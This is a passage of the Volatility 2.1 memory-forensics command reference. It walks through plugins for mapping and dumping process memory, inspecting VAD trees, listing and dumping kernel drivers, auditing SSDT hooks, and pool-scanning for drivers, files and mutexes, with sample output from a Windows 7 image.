      
    lsass.exe            Export     ADVAPI32.dll         1137       0x000007fefd17a310 CredEncryptAndMarshalBinaryBlob  
      
    lsass.exe            Export     ADVAPI32.dll         1138       0x000007fefd17d080 CredEnumerateA  
      
    lsass.exe            Export     ADVAPI32.dll         1139       0x000007fefd17cf50 CredEnumerateW  
      
    lsass.exe            Export     ADVAPI32.dll         1140       0x000007fefd17ca00 CredFindBestCredentialA  
      
    lsass.exe            Export     ADVAPI32.dll         1141       0x000007fefd17c8f0 CredFindBestCredentialW  
      
    lsass.exe            Export     ADVAPI32.dll         1142       0x000007fefd130c10 CredFree  
      
    lsass.exe            Export     ADVAPI32.dll         1143       0x000007fefd1630f0 CredGetSessionTypes  
      
    lsass.exe            Export     ADVAPI32.dll         1144       0x000007fefd1703d0 CredGetTargetInfoA  
      
    [snip]
[/code]

To show imported functions in kernel memory, use -K and -I like this:

[code]

    $ python vol.py --plugins=contrib/plugins/ -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 enumfunc -K -I  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Process              Type       Module               Ordinal    Address              Name  
      
    <KERNEL>             Import     VIDEOPRT.SYS         583        0xfffff80002acc320 ntoskrnl.exe!IoRegisterPlugPlayNotification  
      
    <KERNEL>             Import     VIDEOPRT.SYS         1325       0xfffff800029f9f30 ntoskrnl.exe!RtlAppendStringToString  
      
    <KERNEL>             Import     VIDEOPRT.SYS         509        0xfffff800026d06e0 ntoskrnl.exe!IoGetAttachedDevice  
      
    <KERNEL>             Import     VIDEOPRT.SYS         443        0xfffff800028f7ec0 ntoskrnl.exe!IoBuildSynchronousFsdRequest  
      
    <KERNEL>             Import     VIDEOPRT.SYS         1466       0xfffff80002699300 ntoskrnl.exe!RtlInitUnicodeString  
      
    <KERNEL>             Import     VIDEOPRT.SYS         759        0xfffff80002697be0 ntoskrnl.exe!KeInitializeEvent  
      
    <KERNEL>             Import     VIDEOPRT.SYS         1461       0xfffff8000265e8a0 ntoskrnl.exe!RtlInitAnsiString  
      
    <KERNEL>             Import     VIDEOPRT.SYS         1966       0xfffff80002685060 ntoskrnl.exe!ZwSetValueKey  
      
    <KERNEL>             Import     VIDEOPRT.SYS         840        0xfffff80002699440 ntoskrnl.exe!KeReleaseSpinLock  
      
    <KERNEL>             Import     VIDEOPRT.SYS         1190       0xfffff800027a98b0 ntoskrnl.exe!PoRequestPowerIrp  
      
    <KERNEL>             Import     VIDEOPRT.SYS         158        0xfffff800026840f0 ntoskrnl.exe!ExInterlockedInsertTailList  
      
    <KERNEL>             Import     VIDEOPRT.SYS         1810       0xfffff80002684640 ntoskrnl.exe!ZwClose  
      
    [snip]
[/code]

#  Process Memory

##  memmap

The memmap command shows you exactly which pages are memory resident, given a
specific process DTB \(or kernel DTB if you use this plugin on the Idle or
System process\). It shows you the virtual address of the page, the
corresponding physical offset of the page, and the size of the page. The map
information generated by this plugin comes from the underlying address space's
get\_available\_addresses method.As of 2.1, the new column DumpFileOffset
helps you correlate the output of memmap with the dump file produced by the
CommandReference21\#memdump plugin. For example, according to the output
below, the page at virtual address 0x0000000000058000 in the System process's
memory can be found at offset 0x00000000162ed000 of the win7\_trial\_64bit.raw
file. After using CommandReference21\#memdump to extract the addressable
memory of the System process to an individual file, you can find this page at
offset 0x8000.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 memmap -p 4   
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    System pid:      4  
      
    Virtual            Physical                         Size     DumpFileOffset  
      
    ------------------ ------------------ ------------------ ------------------  
      
    0x0000000000050000 0x0000000000cbc000             0x1000                0x0  
      
    0x0000000000051000 0x0000000015ec6000             0x1000             0x1000  
      
    0x0000000000052000 0x000000000f5e7000             0x1000             0x2000  
      
    0x0000000000053000 0x0000000005e28000             0x1000             0x3000  
      
    0x0000000000054000 0x0000000008b29000             0x1000             0x4000  
      
    0x0000000000055000 0x00000000155b8000             0x1000             0x5000  
      
    0x0000000000056000 0x000000000926e000             0x1000             0x6000  
      
    0x0000000000057000 0x0000000002dac000             0x1000             0x7000  
      
    0x0000000000058000 0x00000000162ed000             0x1000             0x8000  
      
    [snip]
[/code]

##  memdump

To extract all memory resident pages in a process \(see
CommandReference21\#memmap for details\) into an individual file, use the
memdump command. Supply the output directory with -D or --dump-dir=DIR.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 memdump -p 4 -D dump/  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ************************************************************************  
      
    Writing System [     4] to 4.dmp  
      
      
      
    $ ls -alh dump/4.dmp   
      
    -rw-r--r--  1 Michael  staff   111M Jun 24 15:47 dump/4.dmp
[/code]

To conclude the demonstration we began in the CommandReference21\#memmap
discussion, we should now be able to make an assertion regarding the
relationship of the mapped and extracted pages:

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 volshell  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Current context: process System, pid=4, ppid=0 DTB=0x187000  
      
    Welcome to volshell! Current memory image is:  
      
    file:///Users/Michael/Desktop/win7_trial_64bit.raw  
      
    To get help, type 'hh()'  
      
      
      
    >>> PAGE_SIZE = 0x1000  
      
      
      
    >>> assert self.addrspace.read(0x0000000000058000, PAGE_SIZE) == \  
      
    ...        self.addrspace.base.read(0x00000000162ed000, PAGE_SIZE) == \  
      
    ...        open("dump/4.dmp", "rb").read()[0x8000:0x8000 + PAGE_SIZE]  
      
    >>> 
[/code]

##  procmemdump

To dump a process's executable \(including the slack space\), use the
procmemdump command. Optionally, pass the --unsafe or -u flags to bypass
certain sanity checks used when parsing the PE header. Some malware will
intentionally forge size fields in the PE header so that memory dumping tools
fail.For more information, see Andreas Schuster's 4-part series on
Reconstructing a Binary. Also see impscan for help rebuilding a binary's
import address table.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 procmemdump -D dump/ -p 296  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ************************************************************************  
      
    Dumping csrss.exe, pid:    296 output: executable.296.exe  
      
      
      
    $ file dump/executable.296.exe   
      
    dump/executable.296.exe: PE32+ executable for MS Windows (native) Mono/.Net assembly
[/code]

##  procexedump

To dump a process's executable \(**not** including the slack space\), use the
procexedump command. The syntax is identical to procmemdump.

##  vadinfo

The vadinfo command displays extended information about a process's VAD nodes.
In particular, it shows:

  * The address of the MMVAD structure in kernel memory
  * The starting and ending virtual addresses in process memory that the MMVAD structure pertains to
  * The VAD Tag
  * The VAD flags, control flags, etc
  * The name of the memory mapped file \(if one exists\)
  * The memory protection constant \(permissions\). Note there is a difference between the original protection and current protection. The original protection is derived from the flProtect parameter to VirtualAlloc. For example you can reserve memory \(MEM\_RESERVE\) with protection PAGE\_NOACCESS \(original protection\). Later, you can call VirtualAlloc again to commit \(MEM\_COMMIT\) and specify PAGE\_READWRITE \(becomes current protection\). The vadinfo command shows the original protection only. Thus, just because you see PAGE\_NOACCESS here, it doesn't mean code in the region cannot be read, written, or executed.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 vadinfo -p 296  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ************************************************************************  
      
    Pid:    296  
      
    VAD node @ 0xfffffa8000c00620 Start 0x000000007f0e0000 End 0x000000007ffdffff Tag VadS  
      
    Flags: PrivateMemory: 1, Protection: 1  
      
    Protection: PAGE_READONLY  
      
    Vad Type: VadNone  
      
      
      
    [snip]  
      
      
      
    VAD node @ 0xfffffa8000c04ce0 Start 0x000007fefcd00000 End 0x000007fefcd10fff Tag Vad   
      
    Flags: CommitCharge: 2, Protection: 7, VadType: 2  
      
    Protection: PAGE_EXECUTE_WRITECOPY  
      
    Vad Type: VadImageMap  
      
    ControlArea @fffffa8000c04d70 Segment fffff8a000c45c10  
      
    Dereference list: Flink 00000000, Blink 00000000  
      
    NumberOfSectionReferences:          0 NumberOfPfnReferences:          13  
      
    NumberOfMappedViews:                2 NumberOfUserReferences:          2  
      
    WaitingForDeletion Event:  00000000  
      
    Control Flags: Accessed: 1, File: 1, Image: 1  
      
    FileObject @fffffa8000c074d0, Name: \Windows\System32\basesrv.dll  
      
    First prototype PTE: fffff8a000c45c58 Last contiguous PTE: fffffffffffffffc  
      
    Flags2: Inherit: 1  
      
      
      
    [snip]
[/code]

For more information on the VAD, see BDG's The VAD Tree: A Process-Eye View of
Physical Memory.

##  vadwalk

To inspect a process's VAD nodes in table form, use the vadwalk command.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 vadwalk -p 296  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ************************************************************************  
      
    Pid:    296  
      
    Address            Parent             Left               Right              Start              End                Tag   
      
    ------------------ ------------------ ------------------ ------------------ ------------------ ------------------ ----  
      
    0xfffffa8000c00620 0x0000000000000000 0xfffffa8000deaa40 0xfffffa8000c043d0 0x000000007f0e0000 0x000000007ffdffff VadS  
      
    0xfffffa8000deaa40 0xfffffa8000c00620 0xfffffa8000bc4660 0xfffffa80011b8d80 0x0000000000ae0000 0x0000000000b1ffff VadS  
      
    0xfffffa8000bc4660 0xfffffa8000deaa40 0xfffffa8000c04260 0xfffffa8000c91010 0x00000000004d0000 0x0000000000650fff Vadm  
      
    0xfffffa8000c04260 0xfffffa8000bc4660 0xfffffa8000c82010 0xfffffa80012acce0 0x00000000002a0000 0x000000000039ffff VadS  
      
    0xfffffa8000c82010 0xfffffa8000c04260 0xfffffa8000cbce80 0xfffffa8000c00330 0x00000000001f0000 0x00000000001f0fff Vadm  
      
    0xfffffa8000cbce80 0xfffffa8000c82010 0xfffffa8000bc4790 0xfffffa8000d9bb80 0x0000000000180000 0x0000000000181fff Vad   
      
    0xfffffa8000bc4790 0xfffffa8000cbce80 0xfffffa8000c00380 0xfffffa8000e673a0 0x0000000000100000 0x0000000000166fff Vad   
      
    0xfffffa8000c00380 0xfffffa8000bc4790 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x00000000000fffff VadS  
      
    [snip]
[/code]

##  vadtree

To display the VAD nodes in a visual tree form, use the vadtree command.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 vadtree -p 296  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ************************************************************************  
      
    Pid:    296  
      
     0x000000007f0e0000 - 0x000000007ffdffff  
      
      0x0000000000ae0000 - 0x0000000000b1ffff  
      
       0x00000000004d0000 - 0x0000000000650fff  
      
        0x00000000002a0000 - 0x000000000039ffff  
      
         0x00000000001f0000 - 0x00000000001f0fff  
      
          0x0000000000180000 - 0x0000000000181fff  
      
           0x0000000000100000 - 0x0000000000166fff  
      
            0x0000000000000000 - 0x00000000000fffff  
      
            0x0000000000170000 - 0x0000000000170fff  
      
           0x00000000001a0000 - 0x00000000001a1fff  
      
            0x0000000000190000 - 0x0000000000190fff  
      
            0x00000000001b0000 - 0x00000000001effff  
      
          0x0000000000240000 - 0x000000000024ffff  
      
           0x0000000000210000 - 0x0000000000216fff  
      
            0x0000000000200000 - 0x000000000020ffff  
      
    [snip]
[/code]

If you want to view the balanced binary tree in Graphviz format, just add
--output=dot --output-file=graph.dot to your command. Then you can open
graph.dot in any Graphviz-compatible viewer.

##  vaddump

To extract the range of pages described by a VAD node, use the vaddump
command. This is similar to CommandReference21\#memdump, except the pages
belonging to each VAD node are placed in separate files \(named according to
the starting and ending addresses\) instead of one large conglomerate file. If
any pages in the range are not memory resident, they're padded with 0's using
the address space's zread\(\) method.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 vaddump -D vads  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Pid:      4  
      
    ************************************************************************  
      
    Pid:    208  
      
    ************************************************************************  
      
    Pid:    296  
      
    ************************************************************************  
      
    Pid:    332  
      
    ************************************************************************  
      
    Pid:    344  
      
    ************************************************************************  
      
    [snip]  
      
      
      
    $ ls -alh vads  
      
    total 229536  
      
    drwxr-xr-x  107 Michael  staff   3.6K Jun 24 16:15 .  
      
    drwxr-xr-x   25 Michael  staff   850B Jun 24 16:14 ..  
      
    -rw-r--r--    1 Michael  staff   140K Jun 24 16:15 System.17fef9e0.00010000-00032fff.dmp  
      
    -rw-r--r--    1 Michael  staff   4.0K Jun 24 16:15 System.17fef9e0.00040000-00040fff.dmp  
      
    -rw-r--r--    1 Michael  staff   1.7M Jun 24 16:15 System.17fef9e0.76d40000-76eeafff.dmp  
      
    -rw-r--r--    1 Michael  staff   1.5M Jun 24 16:15 System.17fef9e0.76f20000-7709ffff.dmp  
      
    -rw-r--r--    1 Michael  staff    64K Jun 24 16:15 System.17fef9e0.7ffe0000-7ffeffff.dmp  
      
    -rw-r--r--    1 Michael  staff   1.0M Jun 24 16:15 csrss.exe.176006c0.00000000-000fffff.dmp  
      
    -rw-r--r--    1 Michael  staff   412K Jun 24 16:15 csrss.exe.176006c0.00100000-00166fff.dmp  
      
    -rw-r--r--    1 Michael  staff   4.0K Jun 24 16:15 csrss.exe.176006c0.00170000-00170fff.dmp  
      
    -rw-r--r--    1 Michael  staff   8.0K Jun 24 16:15 csrss.exe.176006c0.00180000-00181fff.dmp  
      
    -rw-r--r--    1 Michael  staff   4.0K Jun 24 16:15 csrss.exe.176006c0.00190000-00190fff.dmp  
      
    [snip]
[/code]

The files are named like
this:ProcessName.PhysicalOffset.StartingVPN.EndingVPN.dmpThe reason the
PhysicalOffset field exists is so you can distinguish between two processes
with the same name.

#  Kernel Memory and Objects

##  modules

To view the list of kernel drivers loaded on the system, use the modules
command. This walks the doubly-linked list of LDR\_DATA\_TABLE\_ENTRY
structures pointed to by PsLoadedModuleList. Similar to the
CommandReference21\#pslist command, this relies on finding the KDBG structure.
In rare cases, you may need to use CommandReference21\#kdbgscan to find the
most appropriate KDBG structure address and then supply it to this plugin like
--kdbg=ADDRESS.It cannot find hidden/unlinked kernel drivers, however
CommandReference21\#modscan serves that purpose. Also, since this plugin uses
list walking techniques, you typically can assume that the order the modules
are displayed in the output is the order they were loaded on the system. For
example, below, ntoskrnl.exe was first to load, followed by hal.dll, etc.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 modules  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(V)          Name                 Base                             Size File  
      
    ------------------ -------------------- ------------------ ------------------ ----  
      
    0xfffffa80004a11a0 ntoskrnl.exe         0xfffff8000261a000           0x5dd000 \SystemRoot\system32\ntoskrnl.exe  
      
    0xfffffa80004a10b0 hal.dll              0xfffff80002bf7000            0x49000 \SystemRoot\system32\hal.dll  
      
    0xfffffa80004a7950 kdcom.dll            0xfffff80000bb4000             0xa000 \SystemRoot\system32\kdcom.dll  
      
    0xfffffa80004a7860 mcupdate.dll         0xfffff88000c3a000            0x44000 \SystemRoot\system32\mcupdate_GenuineIntel.dll  
      
    0xfffffa80004a7780 PSHED.dll            0xfffff88000c7e000            0x14000 \SystemRoot\system32\PSHED.dll  
      
    0xfffffa80004a7690 CLFS.SYS             0xfffff88000c92000            0x5e000 \SystemRoot\system32\CLFS.SYS  
      
    0xfffffa80004a8010 CI.dll               0xfffff88000cf0000            0xc0000 \SystemRoot\system32\CI.dll  
      
    [snip] 
[/code]

The output shows the offset of the LDR\_DATA\_TABLE\_ENTRY structure, which is
a virtual address by default but can be specified as a physical address with
the -P switch as shown below. In either case, the Base column is the virtual
address of the module's base in kernel memory \(where you'd expect to find the
PE header\).

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 modules -P  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)          Name                 Base                             Size File  
      
    ------------------ -------------------- ------------------ ------------------ ----  
      
    0x0000000017fe01a0 ntoskrnl.exe         0xfffff8000261a000           0x5dd000 \SystemRoot\system32\ntoskrnl.exe  
      
    0x0000000017fe00b0 hal.dll              0xfffff80002bf7000            0x49000 \SystemRoot\system32\hal.dll  
      
    0x0000000017fe6950 kdcom.dll            0xfffff80000bb4000             0xa000 \SystemRoot\system32\kdcom.dll  
      
    0x0000000017fe6860 mcupdate.dll         0xfffff88000c3a000            0x44000 \SystemRoot\system32\mcupdate_GenuineIntel.dll  
      
    0x0000000017fe6780 PSHED.dll            0xfffff88000c7e000            0x14000 \SystemRoot\system32\PSHED.dll  
      
    0x0000000017fe6690 CLFS.SYS             0xfffff88000c92000            0x5e000 \SystemRoot\system32\CLFS.SYS  
      
    0x0000000017fe7010 CI.dll               0xfffff88000cf0000            0xc0000 \SystemRoot\system32\CI.dll  
      
    [snip]
[/code]

##  modscan

The modscan command finds LDR\_DATA\_TABLE\_ENTRY structures by scanning
physical memory for pool tags. This can pick up previously unloaded drivers
and drivers that have been hidden/unlinked by rootkits. Unlike
CommandReference21\#modlist the order of results has no relationship with the
order in which the drivers loaded. As you can see below, DumpIt.sys was found
at the lowest physical offset, but it was probably one of the last drivers to
load \(since it was used to acquire memory\).

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 modscan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)          Name                 Base                             Size File  
      
    ------------------ -------------------- ------------------ ------------------ ----  
      
    0x00000000173b90b0 DumpIt.sys           0xfffff88003980000            0x11000 \??\C:\Windows\SysWOW64\Drivers\DumpIt.sys  
      
    0x000000001745b180 mouhid.sys           0xfffff880037e9000             0xd000 \SystemRoot\system32\DRIVERS\mouhid.sys  
      
    0x0000000017473010 lltdio.sys           0xfffff88002585000            0x15000 \SystemRoot\system32\DRIVERS\lltdio.sys  
      
    0x000000001747f010 rspndr.sys           0xfffff8800259a000            0x18000 \SystemRoot\system32\DRIVERS\rspndr.sys  
      
    0x00000000174cac40 dxg.sys              0xfffff96000440000            0x1e000 \SystemRoot\System32\drivers\dxg.sys  
      
    0x0000000017600190 monitor.sys          0xfffff8800360c000             0xe000 \SystemRoot\system32\DRIVERS\monitor.sys  
      
    0x0000000017601170 HIDPARSE.SYS         0xfffff880037de000             0x9000 \SystemRoot\system32\DRIVERS\HIDPARSE.SYS  
      
    0x0000000017604180 USBD.SYS             0xfffff880037e7000             0x2000 \SystemRoot\system32\DRIVERS\USBD.SYS  
      
    0x0000000017611d70 cdrom.sys            0xfffff88001944000            0x2a000 \SystemRoot\system32\DRIVERS\cdrom.sys  
      
    [snip]
[/code]

##  moddump

To extract a kernel driver to a file, use the moddump command. Supply the
output directory with -D or --dump-dir=DIR. Without any additional parameters,
all drivers identified by CommandReference\#21modlist will be dumped. If you
want a specific driver, supply a regular expression of the driver's name with
--regex=REGEX or the module's base address with --base=BASE.For more
information, see BDG's Plugin Post: Moddump.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 moddump -D drivers/  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Dumping ntoskrnl.exe, Base: fffff8000261a000 output: driver.fffff8000261a000.sys  
      
    Dumping hal.dll, Base: fffff80002bf7000 output: driver.fffff80002bf7000.sys  
      
    Dumping intelide.sys, Base: fffff88000e5c000 output: driver.fffff88000e5c000.sys  
      
    Dumping mouclass.sys, Base: fffff8800349b000 output: driver.fffff8800349b000.sys  
      
    Dumping msisadrv.sys, Base: fffff88000f7c000 output: driver.fffff88000f7c000.sys  
      
    Dumping ndistapi.sys, Base: fffff880035c3000 output: driver.fffff880035c3000.sys  
      
    Dumping pacer.sys, Base: fffff88002c5d000 output: driver.fffff88002c5d000.sys  
      
    Dumping WDFLDR.SYS, Base: fffff88000f0d000 output: driver.fffff88000f0d000.sys  
      
    Dumping usbhub.sys, Base: fffff880036be000 output: driver.fffff880036be000.sys  
      
    Dumping hwpolicy.sys, Base: fffff8800149f000 output: driver.fffff8800149f000.sys  
      
    Dumping kbdclass.sys, Base: fffff8800348c000 output: driver.fffff8800348c000.sys  
      
    Dumping amdxata.sys, Base: fffff88000c00000 output: driver.fffff88000c00000.sys  
      
    Dumping crashdmp.sys, Base: fffff88003781000 output: driver.fffff88003781000.sys  
      
    Dumping swenum.sys, Base: fffff88003461000 output: driver.fffff88003461000.sys  
      
    Cannot dump TSDDD.dll at fffff96000670000  
      
    Cannot dump framebuf.dll at fffff960008a0000  
      
    [snip]
[/code]

Similar to CommandReference21\#dlldump, if critical parts of the PE header are
not memory resident, then rebuilding/extracting the driver may fail.
Additionally, for drivers that are mapped in different sessions \(like
win32k.sys\), there is currently no way to specify which session to use when
acquiring the driver sample. This will be an enhancement added in the
Volatility 2.2 release.

##  ssdt

To list the functions in the Native and GUI SSDTs, use the ssdt command. This
displays the index, function name, and owning driver for each entry in the
SSDT. Please note the following:

  * Windows has 4 SSDTs by default \(you can add more with KeAddSystemServiceTable\), but only 2 of them are used - one for Native functions in the NT module, and one for GUI functions in the win32k.sys module.

  * There are multiple ways to locate the SSDTs in memory. Most tools do it by finding the exported KeServiceDescriptorTable symbol in the NT module, but this is not the way Volatility works.

  * For x86 systems, Volatility scans for ETHREAD objects \(see the CommandReference\#thrdscan command\) and gathers all unique ETHREAD.Tcb.ServiceTable pointers. This method is more robust and complete, because it can detect when rootkits make copies of the existing SSDTs and assign them to particular threads. Also see the CommandReference\#thread command.

  * For x64 systems \(which do not have an ETHREAD.Tcb.ServiceTable member\) Volatility disassembles code in nt\!KeAddSystemServiceTable and finds its references to the KeServiceDescriptorTable and KeServiceDescriptorTableShadow symbols.

  * The order and total number of functions in the SSDTs differ across operating system versions. Thus, Volatility stores the information in a per-profile \(OS\) dictionary which is auto-generated and cross-referenced using the ntoskrnl.exe, ntdll.dll, win32k.sys, user32.dll and gdi32.dll modules from the respective systems.

  * For more information, see BDG's Auditing the System Call Table.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 ssdt  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    [x64] Gathering all referenced SSDTs from KeAddSystemServiceTable...  
      
    Finding appropriate address space for tables...  
      
    SSDT[0] at fffff8000268cb00 with 401 entries  
      
      Entry 0x0000: 0xfffff80002a9d190 (NtMapUserPhysicalPagesScatter) owned by ntoskrnl.exe  
      
      Entry 0x0001: 0xfffff80002983a00 (NtWaitForSingleObject) owned by ntoskrnl.exe  
      
      Entry 0x0002: 0xfffff80002683dd0 (NtCallbackReturn) owned by ntoskrnl.exe  
      
      Entry 0x0003: 0xfffff800029a6b10 (NtReadFile) owned by ntoskrnl.exe  
      
      Entry 0x0004: 0xfffff800029a4bb0 (NtDeviceIoControlFile) owned by ntoskrnl.exe  
      
      Entry 0x0005: 0xfffff8000299fee0 (NtWriteFile) owned by ntoskrnl.exe  
      
      Entry 0x0006: 0xfffff80002945dc0 (NtRemoveIoCompletion) owned by ntoskrnl.exe  
      
      Entry 0x0007: 0xfffff80002942f10 (NtReleaseSemaphore) owned by ntoskrnl.exe  
      
      Entry 0x0008: 0xfffff8000299ada0 (NtReplyWaitReceivePort) owned by ntoskrnl.exe  
      
      Entry 0x0009: 0xfffff80002a6ce20 (NtReplyPort) owned by ntoskrnl.exe  
      
      
      
    [snip]  
      
      
      
    SSDT[1] at fffff96000101c00 with 827 entries  
      
      Entry 0x1000: 0xfffff960000f5580 (NtUserGetThreadState) owned by win32k.sys  
      
      Entry 0x1001: 0xfffff960000f2630 (NtUserPeekMessage) owned by win32k.sys  
      
      Entry 0x1002: 0xfffff96000103c6c (NtUserCallOneParam) owned by win32k.sys  
      
      Entry 0x1003: 0xfffff96000111dd0 (NtUserGetKeyState) owned by win32k.sys  
      
      Entry 0x1004: 0xfffff9600010b1ac (NtUserInvalidateRect) owned by win32k.sys  
      
      Entry 0x1005: 0xfffff96000103e70 (NtUserCallNoParam) owned by win32k.sys  
      
      Entry 0x1006: 0xfffff960000fb5a0 (NtUserGetMessage) owned by win32k.sys  
      
      Entry 0x1007: 0xfffff960000dfbec (NtUserMessageCall) owned by win32k.sys  
      
      Entry 0x1008: 0xfffff960001056c4 (NtGdiBitBlt) owned by win32k.sys  
      
      Entry 0x1009: 0xfffff960001fd750 (NtGdiGetCharSet) owned by win32k.sys  
      
      
      
    [snip]
[/code]

To filter all functions which point to ntoskrnl.exe and win32k.sys, you can
use egrep on command-line. This will only show hooked SSDT functions.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 ssdt | egrep -v '(ntos|win32k)'
[/code]

Note that the NT module on your system may be ntkrnlpa.exe or ntkrnlmp.exe -
so check that before using egrep of you'll be filtering the wrong module name.
Also be aware that this isn't a hardened technique for finding hooks, as
malware can load a driver named win32ktesting.sys and bypass your filter.

##  driverscan

To find DRIVER\_OBJECTs in physical memory using pool tag scanning, use the
driverscan command. This is another way to locate kernel modules, although not
all kernel modules have an associated DRIVER\_OBJECT. The DRIVER\_OBJECT is
what contains the 28 IRP \(Major Function\) tables, thus the
CommandReference21\#driverirp command is based on the methodology used by
driverscan.For more information, see Andreas Schuster's Scanning for Drivers.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 driverscan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)          #Ptr #Hnd Start                            Size Service Key          Name         Driver Name  
      
    ------------------ ---- ---- ------------------ ------------------ -------------------- ------------ -----------  
      
    0x00000000174c6350    3    0 0xfffff880037e9000             0xd000 mouhid               mouhid       \Driver\mouhid  
      
    0x0000000017660cb0    3    0 0xfffff8800259a000            0x18000 rspndr               rspndr       \Driver\rspndr  
      
    0x0000000017663e70    3    0 0xfffff88002585000            0x15000 lltdio               lltdio       \Driver\lltdio  
      
    0x0000000017691d70    3    0 0xfffff88001944000            0x2a000 cdrom                cdrom        \Driver\cdrom  
      
    0x0000000017692a50    3    0 0xfffff8800196e000             0x9000 Null                 Null         \Driver\Null  
      
    0x0000000017695e70    3    0 0xfffff88001977000             0x7000 Beep                 Beep         \Driver\Beep  
      
    0x00000000176965c0    3    0 0xfffff8800197e000             0xe000 VgaSave              VgaSave      \Driver\VgaSave  
      
    0x000000001769fb00    4    0 0xfffff880019c1000             0x9000 RDPCDD               RDPCDD       \Driver\RDPCDD  
      
    0x00000000176a1720    3    0 0xfffff880019ca000             0x9000 RDPENCDD             RDPENCDD     \Driver\RDPENCDD  
      
    0x00000000176a2230    3    0 0xfffff880019d3000             0x9000 RDPREFMP             RDPREFMP     \Driver\RDPREFMP  
      
    [snip]
[/code]

##  filescan

To find FILE\_OBJECTs in physical memory using pool tag scanning, use the
filescan command. This will find open files even if a rootkit is hiding the
files on disk and if the rootkit hooks some API functions to hide the open
handles on a live system. The output shows the physical offset of the
FILE\_OBJECT, file name, number of pointers to the object, number of handles
to the object, and the effective permissions granted to the object.For more
information, see Andreas Schuster's Scanning for File Objects and Linking File
Objects To Processes.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 filescan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)            #Ptr   #Hnd Access Name  
      
    ------------------ ------ ------ ------ ----  
      
    0x000000000126f3a0     14      0 R--r-d \Windows\System32\mswsock.dll  
      
    0x000000000126fdc0     11      0 R--r-d \Windows\System32\ssdpsrv.dll  
      
    0x000000000468f7e0      6      0 R--r-d \Windows\System32\cryptsp.dll  
      
    0x000000000468fdc0     16      0 R--r-d \Windows\System32\Apphlpdm.dll  
      
    0x00000000048223a0      1      1 ------ \Endpoint  
      
    0x0000000004822a30     16      0 R--r-d \Windows\System32\kerberos.dll  
      
    0x0000000004906070     13      0 R--r-d \Windows\System32\wbem\repdrvfs.dll  
      
    0x0000000004906580      9      0 R--r-d \Windows\SysWOW64\netprofm.dll  
      
    0x0000000004906bf0      9      0 R--r-d \Windows\System32\wbem\wmiutils.dll  
      
    0x00000000049ce8e0      2      1 R--rwd \$Extend\$ObjId  
      
    0x00000000049cedd0      1      1 R--r-d \Windows\System32\en-US\vsstrace.dll.mui  
      
    0x0000000004a71070     17      1 R--r-d \Windows\System32\en-US\pnidui.dll.mui  
      
    0x0000000004a71440     11      0 R--r-d \Windows\System32\nci.dll  
      
    0x0000000004a719c0      1      1 ------ \srvsvc  
      
    [snip]
[/code]

##  mutantscan

To scan physical memory for KMUTANT objects with pool tag scanning, use the
mutantscan command. By default, it displays all objects, but you can pass -s
or --silent to only show named mutexes. The CID column contains the process ID
and thread ID of the mutex owner if one exists.For more information, see
Andreas Schuster's Searching for Mutants.

[code]

    $ python -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 mutantscan --silent  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)          #Ptr #Hnd Signal Thread                   CID Name  
      
    ------------------ ---- ---- ------ ------------------ --------- ----  
      
    0x000000000f702630    2    1      1 0x0000000000000000           {A3BD3259-3E4F-428a-84C8-F0463A9D3EB5}  
      
    0x00000000102fd930    2    1      1 0x0000000000000000           Feed Arbitration Shared Memory Mutex [ User : S-1-5-21-2628989162-3383567662-1028919141-1000 ]  
      
    0x00000000104e5e60    3    2      1 0x0000000000000000           ZoneAttributeCacheCounterMutex  
      
    0x0000000010c29e40    2    1      1 0x0000000000000000           _!MSFTHISTORY!_LOW!_  
      
    0x0000000013035080    2    1      1 0x0000000000000000           c:!users!testing!appdata!local!microsoft!feeds cache!  
      
    0x000000001722dfc0    2    1      1 0x0000000000000000           c:!users!testing!appdata!roaming!microsoft!windows!ietldcache!low!  
      
    0x00000000172497f0    2    1      1 0x0000000000000000           LRIEElevationPolicyMutex  
      
    0x000000001724bfc0    3    2      1 0x0000000000000000           !BrowserEmulation!SharedMemory!Mutex  
      
